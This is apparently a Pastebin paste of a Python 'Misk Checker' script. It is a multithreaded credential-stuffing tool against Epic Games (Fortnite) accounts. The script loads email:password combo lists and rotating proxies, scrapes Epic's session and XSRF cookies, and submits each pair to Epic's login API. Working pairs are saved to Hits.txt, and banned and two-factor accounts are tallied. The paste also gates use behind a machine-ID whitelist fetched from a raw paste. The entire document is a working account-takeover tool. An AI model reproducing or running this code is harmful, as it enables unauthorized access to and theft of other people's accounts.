Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import random
- import threading
- import time
- import tkinter
- from tkinter import filedialog
- from pypresence import Presence
- import pypresence
- import requests
- from colorama import Fore
- import uuid
- import requests as r
- import uuid
- import time
- logo = """
- ███▄ ▄███▓ ██▓ ██████ ██ ▄█▀ ▄████▄ ██░ ██ ▓█████ ▄████▄ ██ ▄█▀▓█████ ██▀███
- ▓██▒▀█▀ ██▒▓██▒▒██ ▒ ██▄█▒ ▒██▀ ▀█ ▓██░ ██▒▓█ ▀ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒
- ▓██ ▓██░▒██▒░ ▓██▄ ▓███▄░ ▒▓█ ▄ ▒██▀▀██░▒███ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒
- ▒██ ▒██ ░██░ ▒ ██▒▓██ █▄ ▒▓▓▄ ▄██▒░▓█ ░██ ▒▓█ ▄ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄
- ▒██▒ ░██▒░██░▒██████▒▒▒██▒ █▄ ▒ ▓███▀ ░░▓█▒░██▓░▒████▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒
- ░ ▒░ ░ ░░▓ ▒ ▒▓▒ ▒ ░▒ ▒▒ ▓▒ ░ ░▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░
- ░ ░ ░ ▒ ░░ ░▒ ░ ░░ ░▒ ▒░ ░ ▒ ▒ ░▒░ ░ ░ ░ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░
- ░ ░ ▒ ░░ ░ ░ ░ ░░ ░ ░ ░ ░░ ░ ░ ░ ░ ░░ ░ ░ ░░ ░
- ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░
- """
- print(logo)
- asd = uuid.getnode()
- verified = False
- link = 'https://pastebin.com/raw/HdjpKAFK'
- texts = r.get(link)
- texts = texts.text.split()
- for uuid in texts:
- if uuid == str(asd):
- verified = True
- break
- if not verified == True:
- print('You\'re not whitelisted. Make sure you sent your uuid to !Not MisK#0682(Copied to your clipboard)')
- import pyperclip
- pyperclip.copy(asd)
- pyperclip.paste()
- input()
- exit()
- else:
- print('You\'re allowed to use this software. Enjoy! (:')
- time.sleep(3)
- os.system('cls')
- now = time.time()
- err = False
- client_id = "652519069890904105"
- RPC = Presence(client_id=client_id)
- try:
- RPC.connect()
- RPC.update(large_image="black15_1", details="MISK CHECKER", start=now)
- except (pypresence.InvalidPipe, pypresence.InvalidID, pypresence.PyPresenceException):
- err = True
- num = 0
- ACCIndex = 0
- CPM = 0
- CPM1 = 0
- Bad = 0
- Banned = 0
- Hits = 0
- two_Factor = 0
- Checked = 0
- emailVerified = 0
- account_locked = 0
- root = tkinter.Tk()
- root.withdraw()
- os.system('cls')
- def get_Session(proxies):
- api_sender = requests.session()
- prxi = proxies.split(":")
- if len(prxi) == 2:
- api_sender.proxies = {"https": proxies}
- return api_sender
- elif len(prxi) == 4:
- api_sender.proxies = {"https": f"http://{prxi[2]}:{prxi[3]}@{prxi[0]}:{prxi[1]}"}
- return api_sender
- else:
- api_sender = "broken"
- return api_sender
- def GetProxies():
- file = filedialog.askopenfile(parent=root, mode='rb', title='Choose a Proxy file',
- filetype=(("txt", "*.txt"), ("All files", "*.txt")))
- if file is not None:
- try:
- loadedFile = open(file.name).readlines()
- arrange = [lines.replace("\n", "") for lines in loadedFile]
- except ValueError:
- try:
- loadedFilee = open(file.name, encoding="utf-8").readlines()
- arrange1 = [lines.replace("\n", "") for lines in loadedFilee]
- except ValueError:
- print(Fore.WHITE + "Cannot open file, Unsupported encoding.")
- else:
- return arrange1
- else:
- return arrange
- else:
- print(Fore.WHITE + "No file Chosen")
- def start(amount):
- reload()
- discord()
- global num
- while True:
- if threading.active_count() < Threads:
- if amount > num:
- threading.Thread(target=thread, args=()).start()
- num += 1
- print('\n')
- print(logo)
- print('\n' + Fore.LIGHTRED_EX + ' Misk-Checker Menu ''\n')
- print('\n')
- Threads = int(input(Fore.RED + ' [!] ' + Fore.WHITE + ' Threads Amount: ' + Fore.WHITE))
- print('\n')
- print(Fore.RED + ' [!] ' + Fore.WHITE + ' Select proxies: ', end='')
- proxies = GetProxies()
- print(Fore.WHITE + 'Proxies added.')
- print('\n')
- print(Fore.RED + ' [!]' + Fore.WHITE + ' Select Combo File: ', end='')
- file = filedialog.askopenfile(parent=root, mode='rb', title='Choose a Combo file')
- print(Fore.WHITE + 'Combo File added.')
- time.sleep(2)
- combo = open(file.name).readlines()
- arrange = [lines.replace("\n", "") for lines in combo]
- def thread():
- sess = get_Session(random.choice(proxies))
- global CPM1
- global ACCIndex
- global Hits
- global Bad
- global Banned
- global Checked
- global two_Factor
- global account_locked
- global emailVerified
- ACCIndex += 1
- combo = arrange[ACCIndex - 1]
- ARR = combo.split(":")
- usern = ARR[0]
- passw = ARR[1]
- getCookX = sess.get("https://www.epicgames.com/id/api/csrf")
- getCook = sess.get("https://www.epicgames.com/id/login?lang=en_U")
- xsrf_cookie_tok = getCookX.cookies.get('XSRF-TOKEN')
- epic_sess_id_tok = getCook.cookies.get('EPIC_SESSION_ID')
- epic_sso_tok = getCook.cookies.get('EPIC_SSO_SESSION')
- epic_funnel_tok = getCook.cookies.get('EPIC_FUNNEL_ID')
- epic_device_took = getCook.cookies.get('EPIC_DEVICE')
- muid_took = getCook.cookies.get('MUID')
- sailthru_took = getCook.cookies.get('sailthru_hid')
- ajs_anony_took = getCook.cookies.get('ajs_anonymous_id')
- epic_SID_took = getCook.cookies.get('_epicSID')
- data = {
- "email": usern,
- "password": passw,
- "rememberMe": True
- }
- headers = {
- "authority": "www.epicgames.com",
- "method": "POST",
- "accept": "application/json, text/plain, */*",
- "accept-encoding": "gzip, deflate, br",
- "accept-language": "en-US,en;q=0.9",
- "content-type": "application/json;charset=UTF-8",
- "x-requested-with": "XMLHttpRequest",
- "x-xsrf-token": xsrf_cookie_tok,
- "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36",
- "cookie": f"EPIC_COUNTRY=IL; EPIC_SESSION_ID={epic_sess_id_tok}; EPIC_SSO_SESSION={epic_sso_tok}; XSRF-TOKEN={xsrf_cookie_tok}; EPIC_FUNNEL_ID={epic_funnel_tok}; EPIC_DEVICE={epic_device_took}; epicCountry=IL; MUID={muid_took}; sailthru_hid={sailthru_took}; ajs_group_id=null; ajs_anonymous_id={ajs_anony_took}; EPIC_LOCALE_COOKIE=en-US; _epicSID={epic_SID_took}"
- }
- sendReq = sess.post("https://www.epicgames.com/id/api/login", json=data, headers=headers)
- Checked += 1
- if sendReq.text == "":
- Hits += 1
- two_Factor += 1
- account_locked += 1
- f = open("Hits.txt", "a")
- f.write(f"{usern}:{passw} \n")
- f.close()
- else:
- Bad += 1
- if sendReq.json()['errorCode'] == "errors.com.epicgames.account.account_not_active":
- Banned += 1
- if sendReq.json()['errorCode'] == "errors.com.epicgames.common.two_factor_authentication.required":
- two_Factor += 1
- CPM1 += 1
- HowManyTimes = int(len(combo))
- def discord():
- if err == False:
- RPC.update(large_image="main", large_text="Fortnite Checker", details=f"Checked [{Checked}/{HowManyTimes}]",
- start=now)
- time.sleep(15)
- threading.Thread(target=discord, args=(), ).start()
- def reload():
- global Valid
- global Checked
- global Invalid
- global HowManyTimes
- global CPM
- global Banned
- global CPM1
- global two_Factor
- global emailVerified
- os.system("cls")
- CPM = CPM1
- CPM1 = 0
- print(logo)
- print(Fore.WHITE + "[" + Fore.LIGHTBLACK_EX + str(Threads) + Fore.WHITE + "/" + Fore.WHITE + str(Threads) + Fore.WHITE + "] Threads")
- print(Fore.WHITE + "[" + Fore.CYAN + str(Checked) + Fore.GREEN + "/" + Fore.WHITE + str(HowManyTimes) + Fore.WHITE + "] Checked")
- print(Fore.WHITE + "[" + Fore.LIGHTRED_EX + str(Bad) + Fore.RED + "/" + Fore.WHITE + str( HowManyTimes) + Fore.WHITE + "] Invalid")
- print(Fore.WHITE + "[" + Fore.LIGHTGREEN_EX + str(Hits) + Fore.WHITE + "/" + Fore.WHITE + str(HowManyTimes) + Fore.WHITE + "] Valid")
- print(Fore.WHITE + "[" + Fore.RED + str(Banned) + "/" + Fore.WHITE + str(HowManyTimes) + Fore.WHITE + "] Banned Accounts")
- print(Fore.WHITE + "[" + Fore.YELLOW + str(two_Factor) + Fore.YELLOW + "/" + Fore.WHITE + str(HowManyTimes) + Fore.WHITE + "] 2FA Accounts")
- print(Fore.WHITE + "[" + Fore.LIGHTWHITE_EX + str(CPM * 60) + Fore.WHITE + "] CPM")
- time.sleep(1)
- threading.Thread(target=reload, args=(), ).start()
- start(HowManyTimes)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement